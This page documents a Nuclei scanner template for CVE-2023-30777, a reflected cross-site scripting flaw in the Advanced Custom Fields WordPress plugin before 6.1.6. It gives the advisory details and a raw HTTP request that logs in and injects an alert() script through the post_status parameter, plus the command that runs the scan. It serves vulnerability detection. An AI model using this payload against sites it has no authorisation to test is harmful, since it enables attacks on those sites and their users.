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Advanced Custom Fields < 6.1.6 - Cross-Site Scripting

ID: CVE-2023-30777

Severity: medium

Author: r3Y3r53

Tags: cve2023,cve,wpscan,advance-custom-field,wp,wp-plugin,wordpress,authenticated,xss,advancedcustomfields

Description

Section titled “Description”

Advanced Custom Fields beofre 6.1.6 is susceptible to cross-site scripting via the post_status parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2023-30777


info:
  name: Advanced Custom Fields < 6.1.6 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Advanced Custom Fields beofre 6.1.6 is susceptible to cross-site scripting via the post_status parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Fixed in version 6.1.6.
  reference:
    - https://wpscan.com/vulnerability/95ded80f-a47b-411e-bd17-050439bf565f
    - https://wordpress.org/plugins/advanced-custom-fields/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30777
    - https://patchstack.com/database/vulnerability/advanced-custom-fields-pro/wordpress-advanced-custom-fields-pro-plugin-6-1-5-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
    - https://patchstack.com/database/vulnerability/advanced-custom-fields/wordpress-advanced-custom-fields-plugin-6-1-5-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-30777
    cwe-id: CWE-79
    epss-score: 0.00527
    epss-percentile: 0.76946
    cpe: cpe:2.3:a:advancedcustomfields:advanced_custom_fields:*:*:*:*:-:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: advancedcustomfields
    product: advanced_custom_fields
    framework: wordpress
  tags: cve2023,cve,wpscan,advance-custom-field,wp,wp-plugin,wordpress,authenticated,xss,advancedcustomfields


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/edit.php?post_type=acf-post-type&post_status=%22style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29%2F%2F HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "onanimationstart=alert(document.domain)//")'
          - 'contains(body_2, "Advanced Custom Fields")'
        condition: and
# digest: 4a0a0047304502210080e6e2c7787c11451322cffd945c8ec170e997e3745c1d5d50d82942b1edb41202201bf56d83de030a96f8b406ab2fc65961bd9c5b26b77c50ebbe1c1e25983db226:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-30777.yaml"

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